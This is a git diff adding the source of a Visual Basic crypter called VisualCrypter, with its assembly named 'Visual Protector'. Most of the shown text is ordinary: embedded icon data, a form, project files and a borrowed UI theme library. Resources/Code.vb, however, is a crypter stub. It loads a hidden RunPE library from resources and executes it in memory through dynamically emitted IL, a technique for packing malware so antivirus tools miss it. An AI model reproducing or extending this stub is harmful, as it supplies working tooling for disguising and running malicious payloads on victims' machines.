ABQzMzMGAAAAFYqOjb3IxtL/r6y9/6upuP+pprX/qqe1/7CuuP9aXVyyAAAAKwAAABFFRUkES0tPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAQUFFATw8QAUAAAASAAAALF9iYbuamZ7/g4OF/4GBg/+npqn/s7K1/7i4 + u/+GionLAAAAE1NUVAUAAAARiY2LwsXEx/+/vcT/paOu/6CeqP+opq//p6ir/0NGRaYAAAA9AAAAIAAA + AA8fHyAGKywtAyAhIQEdHh0BHx8fASYnJwMaGhsGAAAADwAAACAAAAA/SUxLr5+gof+Tk5b/iomO/4uJ + kP+Ni5X/nJmm/5SXl8sAAAAQcnR0AwAAAA2EiIfJtLS0/7q6uv+urbL/lpWc/6inrf+8vL3/i4+N8xcX + F2wAAAA6AAAAJAAAABYAAAAPAAAADBMTEwsAAAAMAAAADwAAABcAAAAkAAAAOxobG3CMj432sbCy/6al + q/+WlJz/nZqk/62rsv+4uLv/fYB/sQAAAAx0dXYBQEBBB5KXldG1tbj/paSo/4yKj/+Mi5D/paSo/769 + vv+3t7f/gYSD7CEiInoAAABFAAAANAAAACkAAAAjAAAAIQAAACMAAAApAAAANAAAAEYlJyZ+homI77a2 + tv+1tLb/s7K5/6Ogqv+tq7T/l5eX/6qqqv9XXFuORkdICAAAAACFhocEjpORsImIi/98e3z/fn1//4aG + if+dnKD/wcHC/7y8vP+vr6//kZOS/V9iYcYtLy6DBQUFVAAAAEoAAABIAAAASgYGBlQvMTCFYmVkyp+h + oP7AwMD/vLy8/8DAw/+4tr//r6y4/6+tuv+1s7//urnA/4GFg5yOjpIEAAAAAImKiwF/hIBrlpma8aKj + pP+pqav/jo2R/5aVmv/AwMP/urq6/7Kysv+oqKj/mZqa/4uNjP+FiIb6eX175nV5d998gH7nj5KR+6Sm + pf/Cw8P/zMzM/8PDw/+7urv/0dDV/7u5w/+5tsP/ubfE/7i1xf+zsb7/g4aGb4+PlAEAAAAAAAAAAI+Q + kgNhZGNBnJ6d/7e2t/+bmp//n52k/7OxuP/Kycz/srKy/6ioqP+enp7/lJSU/5iYmP+goKD/qamp/7Ky + sv+6urr/w8PD/83Nzf/MzMz/w8PD/9fW2f/NzNL/wcDK/7i2vv+cnJ/5lJaY0ZKVldiDhYcbAAAAAAAA + AAAAAAAAkZKTAYuOjlajpaf/pqWs/6alrf+sqrP/srC5/8fGzf/R0dP/q6ur/56env+UlJT/mJiY/6Cg + oP+pqan/srKy/7q6uv/Dw8P/zc3N/83Nzf/g4OH/2djc/8vK0P/GxMz/u7rC/4+PkPBDREUToKCmBJqb + oAEAAAAAAAAAAAAAAAAAAAAAj5GTFJCUlOGysbn/qqqw/6Wmqv/Avsn/xMHN/8vJ0v/c29//wsLE/5yc + nP+YmJj/oKCg/6mpqf+ysrL/urq6/8fHx//g4eH/7u7u/+Df4f/V1dj/z87T/8rJz//FxMz/ubjA/4SI + hqujo6kBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj5CRM4KGhaaUl5lqjZGQ78HAxf/JxtD/xsPO/8TC + zP/OzdT/3dzg/93d3//Z2dr/2dnb/9/e3//m5ef/6Ojp/+Pj5f/i4uL/3t7f/9TU1/+foaPloKKk9ba2 + u/+Wmpvtm52gMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKiorQKVmJjmzMrV/8rI + 0//Ewsv/t7e+/8TDzP/Fw8z/xsPM/8fGzP/Kyc7/zMvQ/9DP0//U1Nf/2dja/9zc3f/d3N7/1dXY/29x + cI+nqakRmpycX5SWlzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIeN + jKKtrrT/s7O6/4WKir2OkpGRubi//8XDzP/Gw8z/tra7/7y8wf/Lys//zc3R/8TEyP+IjYzJra+x+djY + 2v/X1tn/m56e7qeqqwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAJaZmkqOkpJrsbK3Apqdn1e4uL//xsPN/7Kyt/+PlJOFgIeGsMXEyf/Lys//q62u/6Ci + oyiPkZE9mZ2d7I+SksGcoJ9EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmp2dOYuPj8GanZ/yjJCQzKamqQOfoaIpmJqb/aao + qv+Tl5f2nqOiEwAAAACoqqoLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKmqrgGgo6YJAAAAAAAA + AACYnJsol5uZFrCxswEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//AH//8AAP/8AAAf+AAAD/AAAAfgAAADwAAAAcAAAACAAAAAAAAAAAAA + AAAAAAAAAAAAAAAH8AAAB/AAAAPgAAAAAAAAAAAAAAAAAIAAAACAAAAAwAAAAcAAAAHgAAAD8AAAB/wA + AA/+AAA//wAAf//gBf//+Y////////////8oAAAAGAAAADAAAAABACAAAAAAAGAJAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHR4eAhMTEwMUFBQDGBkZAxgY + GAMWFhYDFxgXAhkZGQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAhIiEBGxwbAxYXFwYWFhYJBQUFDwAAABUAAAAXAAAAFQAAABUBAQETBAQEDxYXFwkkJSUEGRoaAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUmJQEbGxsHBAQEEAAAABkAAAAjGxwcSVVY + V5ldYF+pBgYGQR0eHllOUU+QKy0sYQQEBCQAAAAVBgYGDRcYGAYmJyYBAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAICEgBBITEwsEBAQbNDY0aHBycb8wMjGCPD49nMLDw/+urq7/RkhIsnJ1dNvCwsL+lZeX8A8Q + D10sLi1qISMjSgEBARcTFBMIJicnAQAAAAAAAAAAAAAAAAAAAAAqKysEAgICDwYGBiQICQg9oaOj7rm5 + uf+RkpL5fX5+7sbGxv+2trb/jY6N/Z2enf7Gxsb+n6Gg+F5gX8+PkJD5gYOC8jU3N3QAAAAaEhISCiYn + JwMAAAAAAAAAADIzMwIKCgoMHB0dPHV4d8dPUlGzmZqa38PDw/6dnZ3+m5ub/tnY3v7S0df+kZGR/qqq + q/7b2t/+xcXF/o2Njf6cnJz+g4OD/kFDQqMjJCRaCgoKIBMTEwkwMTEBAAAAACQkJAcAAAAaiYyLx8rK + yv+tra3+y8vM/9jX3/+2tbf+pqan/7i0yv+0r8f/urq8/sTCzP+mn8D+wsDJ/4+Pj/+3t7j+np6e/4uN + jPyWmJf+WlxcpQYGBhc0NDQEMjMzAwUFBREWFxZCmZyb4tDQ0P+vr6/+vbzA/7Crwv+5tcj+vrvJ/6yn + v/+oo73/rajA/qmkv/+moL3+ubbI/7u5w/+1r8r+vrrO/6ampv+enp7+foB/6Q4ODjEbGxsKMzQ0Bg0N + DSebnp3ky8zM/tbU3f7Hxsz+wsHG/rKuwv6tqb7+rai+/qekt/6enaz+m5uo/p6crf6mobn+qKK9/qag + vf6jnbr+s7K7/pqamv6wsLH+hIaF9jg7OnkAAAARGxwcCDAyMUzNz87+5eTl/8bE0v+xrcL+sa3B/7Gt + wP+ioq74jI6TrYiJjliOj5cpk5SdHI2OlzKEhopsjpCYyp2brP2bl6r+oJ2s/6akr/+amKT+vr6//4mL + iukTExMjICEhCTY4N1fQ0dH+4N/g/87N0v+1scT+tLHC/5iYoOlJSktQeHeAAwAAAAAAAAAAAAAAAAAA + AAAAAAAAWlpiDFRXV3+VlJz5jYyV/4WEi/+ko6j+rq6u/4yPjfIcHR01JSYmCTs9PVnFw8v+uLbE/7Gv + vf+rqLb+p6ev/DQ1NXEAAAAUUFBUAwAAAAAAAAAAAAAAAAAAAAAAAAAAMzM3BgIDAh5WWFiplJKX/4KB + g/+fnqH+sbGz/52fn/IcHh00REVFBj5AQFy3uLn+urm//qCeqP6mpK3+oaKk+x0eHnAAAAAqBgYGEBwc + HQcZGhoDHR0dAhkaGgQWFhcIAAAAFQAAADRBQ0KioqOl/o+Ok/6Mi5L+lpSf/qWlq/IfIB8yZmdoA0lM + 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 + + + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/News.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.vb new file mode 100644 index 0000000..a07be57 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.vb @@ -0,0 +1,8 @@ +Public Class News + Private Sub News_Load(sender As Object, e As EventArgs) Handles MyBase.Load + Me.StartPosition = FormStartPosition.Manual + Me.Location = Screen.GetWorkingArea(Me).Location + Dim MyForm As New Index + MyForm.Show() + End Sub +End Class \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/Code.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/Code.vb new file mode 100644 index 0000000..0dffc13 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/Code.vb @@ -0,0 +1,74 @@ +Option Explicit Off +Option Strict Off +Imports System, Microsoft.VisualBasic +Imports Microsoft.VisualBasic.CompilerServices +Imports System.Reflection +Imports System.Text +Imports System.Security.Cryptography +Imports System.IO.Compression +Imports System.IO +Imports System.Runtime.InteropServices +Imports System.Runtime.CompilerServices +Imports System.Reflection.Emit +Imports System.Windows.Forms + + + + +' + + + + + + +Namespace Intro + Public Class ChapterOne + + Shared str As String = "%*%" + + Public Shared Sub Main() + Invoke(retrieveRunPE, "Cls", "Mth", New Object() {str}) + End Sub + + Public Shared Function Invoke(ByVal input() As Byte, ByVal cls As String, ByVal procname As String, ByVal args() As Object) As Object + Dim handler As New DynamicMethod("", GetType(Object), New [Type]() {GetType(Byte()), GetType(String), GetType(String), GetType(Object())}) + Dim IL As ILGenerator = handler.GetILGenerator + + Dim argsLoad() As Type = New [Type]() {GetType(Byte())} + Dim mthLoad As MethodInfo = GetType(Assembly).GetMethod("Load", argsLoad) + + Dim argsGTYPE() As Type = New [Type]() {GetType(String)} + Dim mthGTYPE As MethodInfo = GetType(Assembly).GetMethod("GetType", argsGTYPE) + + Dim argsActi() As Type = New [Type]() {GetType(Type)} + Dim mthActi As MethodInfo = GetType(Activator).GetMethod("CreateInstance", argsActi) + + Dim argsGetVal() As Type = New [Type]() {GetType(Object)} + Dim mthGetVal As MethodInfo = GetType(RuntimeHelpers).GetMethod("GetObjectValue", argsGetVal) + + Dim mthCallByName As MethodInfo = GetType(Versioned).GetMethod("CallByName") + + IL.Emit(OpCodes.Ldarg_0) + IL.Emit(OpCodes.Call, mthLoad) + IL.Emit(OpCodes.Ldarg_1) + IL.EmitCall(OpCodes.Callvirt, mthGTYPE, Nothing) + IL.Emit(OpCodes.Call, mthActi) + IL.Emit(OpCodes.Call, mthGetVal) + IL.Emit(OpCodes.Ldarg_2) + IL.Emit(OpCodes.Ldc_I4_1) + IL.Emit(OpCodes.Ldarg_3) + IL.Emit(OpCodes.Call, mthCallByName) + IL.Emit(OpCodes.Ret) + Return CallByName(handler, "Invoke", CallType.Method, New Object() {handler, New Object() {input, cls, procname, args}}) + End Function + + Public Shared Function retrieveRunPE() As Byte() + Dim resMan As New Resources.ResourceManager("2016", Assembly.GetEntryAssembly) + Return resMan.GetObject("%libraryName%") + End Function + + + End Class + +End Namespace \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/DPL.dll b/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/DPL.dll new file mode 100644 index 0000000..d70434e Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/VisualCrypter/Resources/DPL.dll differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/TestCode.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/TestCode.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/TestCode.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj new file mode 100644 index 0000000..08c9eb1 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj @@ -0,0 +1,151 @@ + + + + + Debug + AnyCPU + {F8C9981E-A7C6-4CDD-B491-B2294243D01A} + WinExe + VisualCrypter.My.MyApplication + VisualCrypter + Visual Protector + 512 + WindowsForms + v3.5 + + + + AnyCPU + true + full + true + true + bin\Debug\ + Visual Protector.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Visual Protector.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + x86 + bin\x86\Debug\ + + + x86 + bin\x86\Release\ + + + Gnome-Applications-System.ico + + + + + + + + + + + + + + + + + + + + + + Form + + + Index.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + News.vb + + + Form + + + + + Component + + + + + Index.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + News.vb + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj.user b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj.user new file mode 100644 index 0000000..1efe784 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualCrypter.vbproj.user @@ -0,0 +1,6 @@ + + + + ProjectFiles + + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualTheme.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualTheme.vb new file mode 100644 index 0000000..3d103a5 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/VisualTheme.vb @@ -0,0 +1,2651 @@ +#Region "Themebase" +Imports System, System.IO, System.Collections.Generic +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms +Imports System.Runtime.InteropServices +Imports System.Drawing.Imaging + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 08/02/2011 +'Changed: 12/06/2011 +'Version: 1.5.4 +'------------------ + +MustInherit Class ThemeContainer154 + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + If DoneCreation Then InitializeMessages() + + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + + If Parent Is Nothing Then Return + _IsParentForm = TypeOf Parent Is Form + + If Not _ControlMode Then + InitializeMessages() + + If _IsParentForm Then + ParentForm.FormBorderStyle = _BorderStyle + ParentForm.TransparencyKey = _TransparencyKey + + If Not DesignMode Then + AddHandler ParentForm.Shown, AddressOf FormShown + End If + End If + + Parent.BackColor = BackColor + End If + + OnCreation() + DoneCreation = True + InvalidateTimer() + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent AndAlso _ControlMode Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + + Private HasShown As Boolean + Private Sub FormShown(ByVal sender As Object, ByVal e As EventArgs) + If _ControlMode OrElse HasShown Then Return + + If _StartPosition = FormStartPosition.CenterParent OrElse _StartPosition = FormStartPosition.CenterScreen Then + Dim SB As Rectangle = Screen.PrimaryScreen.Bounds + Dim CB As Rectangle = ParentForm.Bounds + ParentForm.Location = New Point(SB.Width \ 2 - CB.Width \ 2, SB.Height \ 2 - CB.Width \ 2) + End If + + HasShown = True + End Sub + + +#Region " Size Handling " + + Private Frame As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, _Header - 7) + End If + + InvalidateBitmap() + Invalidate() + + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Frame.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + CorrectBounds(Screen.FromControl(Parent).WorkingArea) + End If + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + + Parent.Location = New Point(X, Y) + End Sub + +#End Region + + +#Region " Base Properties " + + Overrides Property Dock As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + If Not _ControlMode Then Return + MyBase.Dock = value + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If value = MyBase.BackColor Then Return + + If Not IsHandleCreated AndAlso _ControlMode AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then + If Not _ControlMode Then Parent.BackColor = value + ColorHook() + End If + End Set + End Property + + Overrides Property MinimumSize As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + If Parent IsNot Nothing Then Parent.MinimumSize = value + End Set + End Property + + Overrides Property MaximumSize As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + If Parent IsNot Nothing Then Parent.MaximumSize = value + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font 